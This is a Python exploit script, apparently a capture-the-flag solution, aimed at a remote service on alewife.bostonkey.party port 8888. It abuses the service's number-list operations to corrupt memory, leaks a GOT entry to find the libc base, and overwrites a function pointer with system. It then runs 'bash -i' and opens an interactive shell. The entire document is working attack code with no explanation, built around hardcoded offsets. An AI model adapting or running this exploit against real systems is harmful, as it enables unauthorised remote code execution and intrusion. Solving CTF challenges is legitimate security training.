#!/usr/bin/python
import struct
import socket
import telnetlib

def p(x):
    return struct.pack('<Q', x)

def u(x):
    return struct.unpack('<Q', x)[0]

def readuntil(f, delim=': '):
    d = ''
    while not d.endswith(delim):
        d += f.read(1)
    return d

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('alewife.bostonkey.party', 8888))
f = s.makefile('rw', bufsize=0)

def writeint(f, n):
    f.write(str(n).ljust(0x3f, '\0'))

def init_string_numbers(f):
    writeint(f, 1)
    readuntil(f)
    writeint(f, 1)
    return int(readuntil(f).split()[0])

def append_string_numbers(f, idx, xs):
    writeint(f, 1)
    readuntil(f)
    writeint(f, 2)
    readuntil(f)
    writeint(f, idx)
    readuntil(f)
    writeint(f, 1)
    readuntil(f)
    writeint(f, len(xs))
    for x in xs:
        readuntil(f)
        writeint(f, x)
    return int(readuntil(f).split()[0])

def string_numbers_to_numbers(f, idx):
    writeint(f, 1)
    readuntil(f)
    writeint(f, 5)
    readuntil(f)
    writeint(f, idx)
    readuntil(f)
    writeint(f, 2)
    return int(readuntil(f).split()[0])

def sort_numbers(f, idx):
    writeint(f, 2)
    readuntil(f)
    writeint(f, 2)
    readuntil(f)
    writeint(f, idx)
    readuntil(f)
    writeint(f, 3)
    return int(readuntil(f).split()[0])

def get_numbers(f, idx):
    writeint(f, 2)
    readuntil(f)
    writeint(f, 4)
    readuntil(f)
    writeint(f, idx)
    f.readline()
    nums = []
    while True:
        l = f.readline().strip(', \n')
        if l == ']':
            break

        nums.append(int(l))
    readuntil(f)
    return nums

def remove_number(f, idx):
    writeint(f, 2)
    readuntil(f)
    writeint(f, 2)
    readuntil(f)
    writeint(f, idx)
    readuntil(f)
    writeint(f, 4)
    return int(readuntil(f).split()[0])

def append_numbers(f, idx, xs):
    writeint(f, 2)
    readuntil(f)
    writeint(f, 2)
    readuntil(f)
    writeint(f, idx)
    readuntil(f)
    writeint(f, 1)
    readuntil(f)
    writeint(f, len(xs))
    for x in xs:
        readuntil(f)
        writeint(f, x)
    return int(readuntil(f).split()[0])

target_items_ptr = 0x6831C0 + 0x828 + 0x808 - 255 * 8
write_got = 0x602DC0

readuntil(f)
sn = init_string_numbers(f)
append_string_numbers(f, sn, [target_items_ptr] * 256)
large_numbers = string_numbers_to_numbers(f, sn)

target_sn = init_string_numbers(f)
target = string_numbers_to_numbers(f, target_sn)
append_numbers(f, target, [0])

sort_numbers(f, large_numbers)
remove_number(f, large_numbers)
append_numbers(f, large_numbers, [write_got])

write_addr = get_numbers(f, target)[0]
libc_base = write_addr - 0xeb860
print 'libc_base =', hex(libc_base)
system = libc_base + 0x46640

def write8(f, addr, value):
    remove_number(f, large_numbers)
    append_numbers(f, large_numbers, [addr])
    remove_number(f, target)
    append_numbers(f, target, [value])

large_addr = 0x6831C0
large_print_func = 0x6831C0 + 0x818

print 'Writing system and command.'
write8(f, large_print_func, system)
write8(f, large_addr, u('bash -i\0'))

writeint(f, 2)
readuntil(f)
writeint(f, 4)
readuntil(f)
writeint(f, 0)

t = telnetlib.Telnet()
t.sock = s
t.interact()